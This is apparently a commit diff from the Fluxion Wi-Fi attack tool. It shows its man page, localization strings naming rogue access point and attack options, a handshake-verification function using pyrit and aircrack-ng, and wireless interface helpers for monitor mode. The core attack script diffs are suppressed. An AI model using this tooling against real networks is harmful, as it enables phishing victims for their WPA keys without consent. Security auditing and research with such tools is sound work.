-m Run fluxion in manual mode instead of auto mode.
-k Kill wireless connection if it is connected.
-d Run fluxion in debug mode.
-x Try to run fluxion with xterm terminals instead of tmux.
-r Reload driver.
-l <language>
Define a certain language.
-e <essid>
Select the target network based on the ESSID.
-c <channel>
Indicate the channel(s) to listen to.
-a <attack>
Define a certain attack.
--ratio <ratio>
Define the windows size. Bigger ratio -> smaller window size.
Default is 4.
-b <bssid>
Select the target network based on the access point MAC address.
-j <jamming interface>
Define a certain jamming interface.
-a <access point interface>
Define a certain access point interface.
FILES
/tmp/fluxspace/
The system wide tmp directory.
$FLUXION/attacks/
Folder where handshakes and passwords are stored in.
ENVIRONMENT
FLUXIONAuto
Automatically run fluxion in auto mode if exported.
FLUXIONDebug
Automatically run fluxion in debug mode if exported.
FLUXIONWIKillProcesses
Automatically kill any interfering process(es).
DIAGNOSTICS
Please checkout the other log files or use the debug mode.
BUGS
Please report any bugs at: https://github.com/FluxionNetwork/flux-
ion/issues
AUTHOR
Cyberfee, l3op, dlinkproto, vk496, MPX4132
SEE ALSO
aircrack-ng(8),
Linux MARCH 2018 FLUXION(1)

1702
fluxion Executable file

File diff suppressed because it is too large Load Diff

1025
fluxion.sh

File diff suppressed because it is too large Load Diff

View File

@ -35,6 +35,7 @@ FLUXIONAbsolutePathInfo="Absolute path"
FLUXIONScannerChannelQuery="Vyberte kanál"
FLUXIONScannerChannelOptionAll="Všechny kanály"
FLUXIONScannerChannelOptionSpecific="Specifický kanál(y)"
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONScannerChannelSingleTip="Jeden kanál"
FLUXIONScannerChannelMiltipleTip="Více kanálů"

View File

@ -2,26 +2,26 @@
# German
# native: Deutsch
FLUXIONInterfaceQuery="Wähle deine Netzwerkkarte aus"
FLUXIONUnblockingWINotice="Entferne den Softblock von allen Netzwerkkarten..."
FLUXIONFindingExtraWINotice="Schaue nach fremden drahlosen Netzwerkkarten..."
FLUXIONRemovingExtraWINotice="Entferne freme drahtlose Netzwerkkarten..."
FLUXIONFindingWINotice="Schaue nach fremden drahlosen Netzwerkkarten..."
FLUXIONSelectedBusyWIError="Die ausgewählte Netzwerkkarte befindet sich gerade in benutzung"
FLUXIONSelectedBusyWITip="Führe \"export FLUXIONWIKillProcesses=1\" aus bevor du FLUXION nutzt."
FLUXIONGatheringWIInfoNotice="Sammeln der Daten von allen Netzwerken..."
FLUXIONInterfaceQuery="Wähle Sie ihre Netzwerkkarte aus"
FLUXIONUnblockingWINotice="Wiederherstellen von allen Netzwerkkarten..."
FLUXIONFindingExtraWINotice="Suche nach Netzwerkkarten..."
FLUXIONRemovingExtraWINotice="Entferne Netzwerkkarten..."
FLUXIONFindingWINotice="Suche nach Netzwerkkarten..."
FLUXIONSelectedBusyWIError="Die ausgewählte Netzwerkkarte befindet sich gerade in Benutzung"
FLUXIONSelectedBusyWITip="Führe \"export FLUXIONWIKillProcesses=1\" aus bevor Sie FLUXION benutzen"
FLUXIONGatheringWIInfoNotice="Sammeln von Daten, von allen Netzwerken..."
FLUXIONUnknownWIDriverError="Netzwerkkartentreiber konnte nicht bestimmt werden"
FLUXIONUnloadingWIDriverNotice="Warte auf Netzwerkarte \"\$wiSelected\"..."
FLUXIONLoadingWIDriverNotice="Warte auf Netzwerkarte \"\$wiSelected\"..."
FLUXIONLoadingWIDriverNotice="Warte auf Treiberantwort \"\$wiSelected\"..."
FLUXIONFindingConflictingProcessesNotice="Suche nach Diensten die Probleme verursachen können..."
FLUXIONKillingConflictingProcessesNotice="Beende Diensten die Probleme verursachen können..."
FLUXIONPhysicalWIDeviceUnknownError="${CRed}Die Physische Schnittstelle konnte nicht ermittelt werden"
FLUXIONStartingWIMonitorNotice="Starte die Netzwerkkarte im Monitor Mode"
FLUXIONStartingWIMonitorNotice="Starte die Netzwerkkarte im sogenannten Monitor Mode"
FLUXIONMonitorModeWIEnabledNotice="${CGrn}Monitormode konnte erfolgreich gestartet werden"
FLUXIONMonitorModeWIFailedError="${CRed}Monitormode konnte nicht gestartet werden"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONStartingScannerNotice="Starte Netzwerkscanner"
FLUXIONStartingScannerTip="Wenn nach etwa 5 Sekunden Netzwerke sichbar werden, schließe Netzwerkscanner"
FLUXIONStartingScannerTip="Wenn nach etwa 30 Sekunden Netzwerke sichbar werden, schließe Netzwerkscanner"
FLUXIONPreparingScannerResultsNotice="Analysieren von allen gesammelten Daten..."
FLUXIONScannerFailedNotice="Netzwerkkarte ist möglichweise nicht geeignet ( Keine Netzwerke gefunden )"
FLUXIONScannerDetectedNothingNotice="Keine Netzwerke konnten gefunden werden"
@ -30,14 +30,15 @@ FLUXIONHashFileDoesNotExistError="Hash Datei existiert nicht"
FLUXIONHashInvalidError="${CRed}Fehler$CClr, falscher Hash"
FLUXIONHashValidNotice="${CGrn}Erfolgreich$CClr,Hash wurde erfolgreich verifiziert"
FLUXIONPathToHandshakeFileQuery="Geben sie den Pfad zum Handshake an $CClr(Beispiel: /.../dump-01.cap)"
FLUXIONAbsolutePathInfo="Geben sie den Absoluten Pfad ein"
FLUXIONAbsolutePathInfo="Geben sie den absoluten Pfad ein"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONScannerChannelQuery="Wähle deinen Netzwerkkanal aus"
FLUXIONScannerChannelOptionAll="Alle Netzwerkkanäle"
FLUXIONScannerChannelOptionSpecific="Spezifische Kanal(e)"
FLUXIONScannerChannelQuery="Wähle deinen Netzwerkfrequenz aus"
FLUXIONScannerChannelOptionAll="Alle Netzwerkfrequenzen"
FLUXIONScannerChannelOptionSpecific="Spezifische Frequenz(en)"
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONScannerChannelSingleTip="Einzelner Kanal"
FLUXIONScannerChannelMiltipleTip="Mehrere Kanäle"
FLUXIONScannerChannelSingleTip="Einzelne Frequenz"
FLUXIONScannerChannelMiltipleTip="Mehrere Frequenzen"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONScannerHeader="FLUXION Scanner"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
@ -48,15 +49,15 @@ FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Langsame Verbindung
FLUXIONHashSourceQuery="Wähle eine Methode aus um den Handshake zu erlangen"
FLUXIONHashSourcePathOption="Handshake Pfad eingeben"
FLUXIONHashSourceRescanOption="Handshake Ordner neu einlesen"
FLUXIONFoundHashNotice="Ein hash wurde für das Netzwerk gefunden"
FLUXIONUseFoundHashQuery="Möchten sie dieses Netzwerk nutzen"
FLUXIONHashVerificationMethodQuery="Wählen sie eine Methode um den Hash zu Verifizieren"
FLUXIONHashVerificationMethodPyritOption="Pyrit Verifizierung (${CGrn}Empfohlen$CClr)"
FLUXIONHashVerificationMethodAircrackOption="Aircrack Verfizierung (${CYel}Unglaubwürdig$CClr)"
FLUXIONFoundHashNotice="Ein Hash wurde für das Netzwerk gefunden"
FLUXIONUseFoundHashQuery="Möchten Sie dieses Netzwerk nutzen?"
FLUXIONHashVerificationMethodQuery="Wählen sie eine Methode um den Hash zu verifizieren"
FLUXIONHashVerificationMethodPyritOption="Pyrit verifizierung (${CGrn}Empfohlen$CClr)"
FLUXIONHashVerificationMethodAircrackOption="Aircrack verfizierung (${CYel}Nicht empfohlen$CClr)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONAttackQuery="Wählen Sie einen drahtlosen Angriff für den Zugangspunkt aus"
FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr Angriff gestartet"
FLUXIONSelectAnotherAttackOption="Wähle einen anderen Angriff"
FLUXIONSelectAnotherAttackOption="Wählen Sie einen anderen Angriff"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONGeneralBackOption="${CRed}Zurück"
FLUXIONGeneralExitOption="${CRed}Ausgang"
@ -65,7 +66,7 @@ FLUXIONGeneralNotFoundError="Nicht gefunden"
FLUXIONGeneralXTermFailureError="${CRed}Xterm Terminal konnte nicht gestartet werden"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONCleanupAndClosingNotice="Aufräumen und schließen"
FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr"
FLUXIONKillingProcessNotice="Beende ${CGry}\$targetID$CClr"
FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr"
FLUXIONDisablingMonitorNotice="Deaktivierung der Netzwerkkarte"
FLUXIONDisablingExtraInterfacesNotice="Deaktivierung der Netzwerkkarte"

View File

@ -35,6 +35,7 @@ FLUXIONAbsolutePathInfo="Εισαγετε διαδρομή αρχειου"
FLUXIONScannerChannelQuery="Επίλεξτε κανάλι"
FLUXIONScannerChannelOptionAll="Όλα τα κανάλια"
FLUXIONScannerChannelOptionSpecific="Συγκεκριμένο(α) κανάλι(α)"
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONScannerChannelSingleTip="Ενα κανάλι"
FLUXIONScannerChannelMiltipleTip="Πολλαπλά κανάλια"

View File

@ -3,22 +3,36 @@
# native: English
FLUXIONInterfaceQuery="Select a wireless interface"
FLUXIONUnblockingWINotice="Unblocking all wireless interfaces..."
FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..."
FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"."
FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"."
FLUXIONReidentifyingInterface="Renaming interface."
FLUXIONUnblockingWINotice="Unblocking all wireless interfaces."
FLUXIONTargetTrackerInterfaceQuery="Select an interface for target tracking."
#FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..."
FLUXIONRemovingExtraWINotice="Removing extraneous wireless interfaces..."
FLUXIONFindingWINotice="Looking for available wireless interfaces..."
FLUXIONSelectedBusyWIError="The wireless interface selected appears to be currently in use!"
FLUXIONSelectedBusyWITip="Run \"export FLUXIONWIKillProcesses=1\" before FLUXION to use it."
FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}."
FLUXIONGatheringWIInfoNotice="Gathering interface information..."
FLUXIONUnknownWIDriverError="Unable to determine interface driver!"
FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$wiSelected\" to unload..."
FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$wiSelected\" to load..."
FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..."
FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..."
FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..."
FLUXIONKillingConflictingProcessesNotice="Killing notorious services..."
FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!"
FLUXIONStartingWIMonitorNotice="Starting monitor interface..."
FLUXIONMonitorModeWIEnabledNotice="${CGrn}Interface monitor mode enabled."
FLUXIONMonitorModeWIFailedError="${CRed}Interface monitor mode failed!"
FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!"
FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!"
FLUXIONIncompleteTargettingInfoNotice="Missing essid, bssid, or channel information!"
FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above."
FLUXIONContinueWithTargetQuery="Continue with this target?"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONStartingScannerNotice="Starting scanner, please wait..."
FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner."
@ -29,8 +43,10 @@ FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!"
FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /.../dump-01.cap)"
FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /path/to/file.cap)"
FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank."
FLUXIONAbsolutePathInfo="Absolute path"
FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file."
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONScannerChannelQuery="Select a channel to monitor"
FLUXIONScannerChannelOptionAll="All channels"
@ -41,23 +57,23 @@ FLUXIONScannerChannelMiltipleTip="Multiple channels"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONScannerHeader="FLUXION Scanner"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONAPServiceQuery="Select an access point service"
FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)"
FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONHashSourceQuery="Select a method to retrieve the handshake"
FLUXIONHashSourcePathOption="Path to capture file"
FLUXIONHashSourceRescanOption="Handshake directory (rescan)"
FLUXIONHashSourceRescanOption="Rescan handshake directory"
FLUXIONFoundHashNotice="A hash for the target AP was found."
FLUXIONUseFoundHashQuery="Do you want to use this file?"
FLUXIONUseFoundHashOption="Use hash found"
FLUXIONSpecifyHashPathOption="Specify path to hash"
FLUXIONHashVerificationMethodQuery="Select a method of verification for the hash"
FLUXIONHashVerificationMethodPyritOption="pyrit verification (${CGrn}recommended$CClr)"
FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}unreliable$CClr)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONAttackQuery="Select a wireless attack for the access point"
FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr attack in progress..."
FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attack in progress..."
FLUXIONSelectAnotherAttackOption="Select another attack"
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONGeneralSkipOption="${CYel}Skip"
FLUXIONGeneralBackOption="${CRed}Back"
FLUXIONGeneralExitOption="${CRed}Exit"
FLUXIONGeneralRepeatOption="${CRed}Repeat"

View File

@ -44,6 +44,7 @@ FLUXIONScannerHeader="FLUXION Escáner"
FLUXIONAPServiceQuery="Seleccione Opción de Ataque"
FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recomendado$CClr)"
FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Conexión más lenta$CClr)"
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONHashSourceQuery="Select a method to retrieve the handshake"
FLUXIONHashSourcePathOption="Path to capture file"

View File

@ -44,6 +44,7 @@ FLUXIONScannerHeader="Scanner FLUXION"
FLUXIONAPServiceQuery="Sélectionnez une option d'attaque"
FLUXIONAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommandé$CClr)"
FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Connexion plus lente$CClr)"
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONHashSourceQuery="Sélectionnez une méthode de récupération de handshake"
FLUXIONHashSourcePathOption="Chemin du fichier capturé"

View File

@ -53,6 +53,7 @@ FLUXIONUseFoundHashQuery="Vuoi usare questo file?"
FLUXIONHashVerificationMethodQuery="Seleziona il metodo di verifica dell'hash"
FLUXIONHashVerificationMethodPyritOption="pyrit verification (${CGrn}raccomandato$CClr)"
FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}inaffidabile$CClr)"
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONAttackQuery="Seleziona la tua scelta"
FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr attacco in corso..."

View File

@ -31,6 +31,7 @@ FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"
FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!"
FLUXIONPathToHandshakeFileQuery="Podaj ścieżkę dostępu do pliku handshake $CClr(Example: /.../dump-01.cap)"
FLUXIONAbsolutePathInfo="Absolute path"
FluxionRestartOption="Restart"s
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONScannerChannelQuery="Wybierz kanał do monitorowania"
FLUXIONScannerChannelOptionAll="Wszystkie kanały"

View File

@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
FLUXIONPreparingScannerResultsNotice="Sintetizando os resultados da varredura, aguarde..."
FLUXIONScannerFailedNotice="Wireless card não suportado (sem APs encontrados)"
FLUXIONScannerDetectedNothingNotice="Sem APs encontrados, retornando..."
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONHashFileDoesNotExistError="Arquivo hash não existe!"
FLUXIONHashInvalidError="${CRed}Error$CClr, arquivo hash inválido!"

View File

@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"

View File

@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Päť sekúnd po objavení sa cieľového AP, zavrite
FLUXIONPreparingScannerResultsNotice="Výsledky scanu sa pripravujú, čakajte..."
FLUXIONScannerFailedNotice="Bezdrôtová sieťová karta nemusí byť podporovaná (nenašli sa žiadne AP)"
FLUXIONScannerDetectedNothingNotice="Žiadne prístupové body neboli najdené, vraciam sa..."
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONHashFileDoesNotExistError="Súbor 'hash' neexistuje!"
FLUXIONHashInvalidError="${CRed}Error$CClr, nesprávny 'hash' súbor!"

View File

@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"

View File

@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..."
FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)"
FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..."
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONHashFileDoesNotExistError="Hash file does not exist!"
FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!"

View File

@ -25,6 +25,7 @@ FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the F
FLUXIONPreparingScannerResultsNotice="综合扫描的结果获取中,请稍等..."
FLUXIONScannerFailedNotice="你的无线网卡好像不支持 (没有发现APs)"
FLUXIONScannerDetectedNothingNotice="没有发现访问点, 请返回重试..."
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONHashFileDoesNotExistError="Hash文件不存在!"
FLUXIONHashInvalidError="${CRed}错误$CClr, 无效的Hash文件!"

View File

@ -6,21 +6,24 @@ readonly HashUtilsVersion="1.0"
HashOutputDevice="/dev/stdout"
function hash_check_handshake() {
local handshakeVerifier=$1
local handshakePath=$2
local handshakeAPSSID=$3
local handshakeAPMAC=$4
local -r handshakeVerifier=$1
local -r handshakePath=$2
local -r handshakeAPSSID=$3
local -r handshakeAPMAC=$4
local analysis
local hashData
echo "Verifier Parameters: " > $HashOutputDevice
echo " Verifier: $handshakeVerifier" > $HashOutputDevice
echo "Hash Path: $handshakePath" > $HashOutputDevice
echo "Hash SSID: \"$handshakeAPSSID\"" > $HashOutputDevice
echo " Hash MAC: $handshakeAPMAC" > $HashOutputDevice
echo "Verifier Parameters: $handshakeVerifier, path $handshakePath, SSID \"$handshakeAPSSID\", MAC $handshakeAPMAC" >$HashOutputDevice
local analysis # Since it's being used in all relevant instances.
case "$handshakeVerifier" in
"pyrit")
readarray analysis < <(pyrit -r "$handshakePath" analyze 2>$HashOutputDevice)
readarray analysis < <(pyrit -r "$handshakePath" analyze 2> $HashOutputDevice)
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
echo "Error: pyrit seems to be broken!" >$HashOutputDevice
echo "Error: pyrit seems to be broken!" > $HashOutputDevice
return 1
fi
@ -28,22 +31,22 @@ function hash_check_handshake() {
if [ "$hashMeta" ]; then
local hashID=$(echo "$hashMeta" | awk -F'[ #:]' '{print $3}')
hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_SHA[0-9]+_AES/{ print \$0 }")
local hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_(SHA[0-9]+_AES|MD5_RC4)/{ print \$0 }")
else
echo "No valid hash meta was found for \"$handshakeAPSSID\"" >$HashOutputDevice
echo "No valid hash meta was found for \"$handshakeAPSSID\"" > $HashOutputDevice
fi
;;
"aircrack-ng")
readarray analysis < <(aircrack-ng "$handshakePath" 2>$HashOutputDevice)
readarray analysis < <(aircrack-ng "$handshakePath" 2> $HashOutputDevice)
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
echo "Error: aircrack-ng seems to be broken!" >$HashOutputDevice
echo "Error: aircrack-ng seems to be broken!" > $HashOutputDevice
return 1
fi
hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID")
local hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID")
;;
*)
echo "Invalid verifier, quitting!"
echo "Invalid verifier, quitting!" > $HashOutputDevice
return 1
;;
esac
@ -53,18 +56,24 @@ function hash_check_handshake() {
return 1
fi
local hashResult
case "$handshakeVerifier" in
"pyrit") hashResult=$(echo "$hashData" | grep "good") ;;
"aircrack-ng") hashResult=$(echo "$hashData" | grep "(1 handshake)") ;;
"pyrit")
if echo "$hashData" | grep -qF "good"; then
local -r hashResult=1
fi ;;
"aircrack-ng")
if echo "$hashData" | grep -qE "\([0-9]+ handshake\)"; then
local -r hashResult=1
fi ;;
esac
if [ -z "$hashResult" ]; then
echo "Invalid hash for $handshakeAPSSID ($handshakeAPMAC)!"
echo "Invalid hash for $handshakeAPSSID ($handshakeAPMAC)!" > $HashOutputDevice
HASHCheckHandshake="invalid"
return 1
else
echo "Valid hash for $handshakeAPSSID ($handshakeAPMAC)!"
echo "Valid hash for $handshakeAPSSID ($handshakeAPMAC)!" > $HashOutputDevice
HASHCheckHandshake="valid"
fi
}

96
lib/Help.sh Normal file
View File

@ -0,0 +1,96 @@
#!/bin/bash
function fluxion_help{
echo " FLUXION(1) User Manuals FLUXION(1)
NAME
fluxion - Fluxion is a security auditing and social-engineering
research tool
SYNOPSIS
fluxion [-debug] [-l language ] attack ...
DESCRIPTION
fluxion is a security auditing and social-engineering research tool.
It is a remake of linset by vk496 with (hopefully) less bugs and more
functionality. The script attempts to retrieve the WPA/WPA2 key from a
target access point by means of a social engineering (phising) attack.
It's compatible with the latest release of Kali (rolling). Fluxion's
attacks' setup is mostly manual, but experimental auto-mode handles
some of the attacks' setup parameters.
OPTIONS
-v Print version number.
--help Print help page and exit with 0.
-m Run fluxion in manual mode instead of auto mode.
-k Kill wireless connection if it is connected.
-d Run fluxion in debug mode.
-x Try to run fluxion with xterm terminals instead of tmux.
-r Reload driver.
-l <language>
Define a certain language.
-e <essid>
Select the target network based on the ESSID.
-c <channel>
Indicate the channel(s) to listen to.
-a <attack>
Define a certain attack.
--ratio <ratio>
Define the windows size. Bigger ratio -> smaller window size.
Default is 4.
-b <bssid>
Select the target network based on the access point MAC address.
-j <jamming interface>
Define a certain jamming interface.
-a <access point interface>
Define a certain access point interface.
FILES
/tmp/fluxspace/
The system wide tmp directory.
$FLUXION/attacks/
Folder where handshakes and passwords are stored in.
ENVIRONMENT
FLUXIONAuto
Automatically run fluxion in auto mode if exported.
FLUXIONDebug
Automatically run fluxion in debug mode if exported.
FLUXIONWIKillProcesses
Automatically kill any interfering process(es).
DIAGNOSTICS
Please checkout the other log files or use the debug mode.
BUGS
Please report any bugs at: https://github.com/FluxionNetwork/flux-
ion/issues
AUTHOR
Cyberfee, l3op, dlinkproto, vk496, MPX4132
SEE ALSO
aircrack-ng(8),
Linux MARCH 2018 FLUXION(1)"
}

View File

@ -11,22 +11,20 @@ if [ -d /sys/bus/usb ] # && hash lsusb;
then InterfaceUSBBus=1
fi
if [ -d /sys/bus/pci ] || [ -d /sys/bus/pci_express ] || [ -d /proc/bus/pci ] # && hash lspci;
if [ -d /sys/bus/pci -o -d /sys/bus/pci_express -o -d /proc/bus/pci ] # && hash lspci;
then InterfacePCIBus=1
fi
# Checks if the interface belongs to a physical device.
function interface_is_real() {
if [ -d /sys/class/net/$1/device ]; then return 0
else return 1
fi
test -d /sys/class/net/$1/device
return $?
}
# Checks if the interface belongs to a wireless device.
function interface_is_wireless() {
if grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent; then return 0
else return 1
fi
grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent
return $?
}
# Returns an array of absolutely all interfaces.
@ -146,64 +144,39 @@ function interface_state() {
function interface_set_state() {
if [ "${#@}" -ne 2 ]; then return 1; fi
# TODO: Add alternatives to 'ip' in case of failure.
ip link set "$1" "$2"
return $?
}
function interface_set_mode() {
if [ "${#@}" -ne 2 ]; then return 1; fi
if ! interface_set_state "$1" "down"; then return 2; fi
if ! iwconfig "$1" mode "$2" &>$InterfaceUtilsOutputDevice; then return 3; fi
if ! iw dev "$1" set type "$2" &> $InterfaceUtilsOutputDevice; then
if ! iwconfig "$1" mode "$2" &> $InterfaceUtilsOutputDevice
then return 3
fi
fi
if ! interface_set_state "$1" "up"; then return 4; fi
}
function interface_prompt() {
if [ -z "$1" -o -z "$2" ]; then return 1; fi
function interface_reidentify() {
if [ ${#@} -ne 2 ]; then return 1; fi
local __interface_prompt__ifAvailable=("${!2}")
local __interface_prompt__ifAvailableInfo=()
